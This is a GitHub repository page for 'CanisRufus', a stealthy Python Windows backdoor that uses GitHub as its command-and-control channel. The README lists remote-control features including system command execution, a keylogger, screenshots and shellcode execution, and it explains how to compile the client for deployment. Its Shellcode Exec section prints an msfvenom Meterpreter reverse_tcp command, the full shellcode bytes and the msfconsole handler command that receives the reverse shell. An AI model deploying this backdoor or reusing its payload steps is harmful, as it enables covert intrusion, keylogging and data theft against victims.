A stealthy Python based Windows backdoor that uses Github as a command and control server
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data canisrufus v1.0 Aug 13, 2017
.gitignore gitignore updated Aug 12, 2017
LICENSE Initial commit Aug 12, 2017
README.md minor Aug 13, 2017
canisrufus.py minor Aug 15, 2017
client.py minor Aug 15, 2017
requirements.txt canisrufus v1.0 Aug 13, 2017
shellcode_generate.py minor Aug 15, 2017

README.md

CanisRufus

A stealthy Python based Windows backdoor that uses Github as a command and control server.

Requirements

  • Python 2.x
  • pygithub3 module
  • PyCrypto module
  • WMI module
  • Enum34 module
  • Netifaces module
  • pypiwin32 module

Features

  • Encrypted transportation messages (AES) + SHA256 hashing
  • Generate computer unique id using system information/characteristics (SHA256 hash)
  • Job IDs are random SHA256 hashes
  • Retrieve system information
  • Retrieve Geolocation information (City, Country, lat, long, etc..)
  • Retrieve running processes/system services/system users/devices (hardware)
  • Retrieve list of clients
  • Execute system command
  • Download files from client
  • Upload files to client
  • Execute shellcode
  • Take screenshot
  • Lock client's screen
  • Keylogger
  • Lock remote computer's screen
  • Shutdown/Restart remote computer
  • Log off current user
  • Download file from the WEB
  • Visit website
  • Show message box to user
  • Ability to change check-in time
  • Ability to add jitter to check-in time to reduce predictability

Setup

For this to work you need:

  • A Github account (Use a dedicated account! Do not use your personal one!)

Download/Installation

Contents

  • canisrufus.py a script that's used to enumerate and issue commands to available clients.
  • client.py the actual backdoor to deploy.

You're probably going to want to compile client.py into an executable using Pyinstaller

Note: It's recommended you compile client.py using a 32bit Python installation

Usage

usage: canisrufus.py [-h] [-v] [-id ID] [-jobid JOBID] [-list | -info]
                     [-cmd CMD | -visitwebsite URL | -message TEXT TITLE | -tasks | -services | -users | -devices | -download PATH | -download-fromurl URL | -upload SRC DST | -exec-shellcode FILE | -screenshot | -lock-screen | -shutdown | -restart | -logoff | -force-checkin | -start-keylogger | -stop-keylogger | -git-checkin CHECK | -jitter jit]

      
    
    
 _____             _     ______       __           
/  __ \           (_)    | ___ \     / _|          
| /  \/ __ _ _ __  _ ___ | |_/ /   _| |_ _   _ ___ 
| |    / _` | '_ \| / __||    / | | |  _| | | / __|
| \__/\ (_| | | | | \__ \| |\ \ |_| | | | |_| \__ \
 \____/\__,_|_| |_|_|___/\_| \_\__,_|_|  \__,_|___/
                                                   
                                                   
      

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on a client

  -cmd CMD              Execute a system command
  -visitwebsite URL     Visit website
  -message TEXT TITLE   Show message to user
  -tasks                Retrieve running processes
  -services             Retrieve system services
  -users                Retrieve system users
  -devices              Retrieve devices(Hardware)
  -download PATH        Download a file from a clients system
  -download-fromurl URL
                        Download a file from the web
  -upload SRC DST       Upload a file to the clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -shutdown             Shutdown remote computer
  -restart              Restart remote computer
  -logoff               Log off current remote user
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger
  -git-checkin CHECK    Seconds to wait before checking for new commands
  -jitter jit           Percentage of Jitter

Shellcode Exec

$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=x.x.x.x -f python

No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11"
buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
buf += "\x53\xff\xd5"

Get rid of everything except for the shellcode and stick it in a file:

$ cat shell.txt 
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

run the console

 ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST x.x.x.x; run"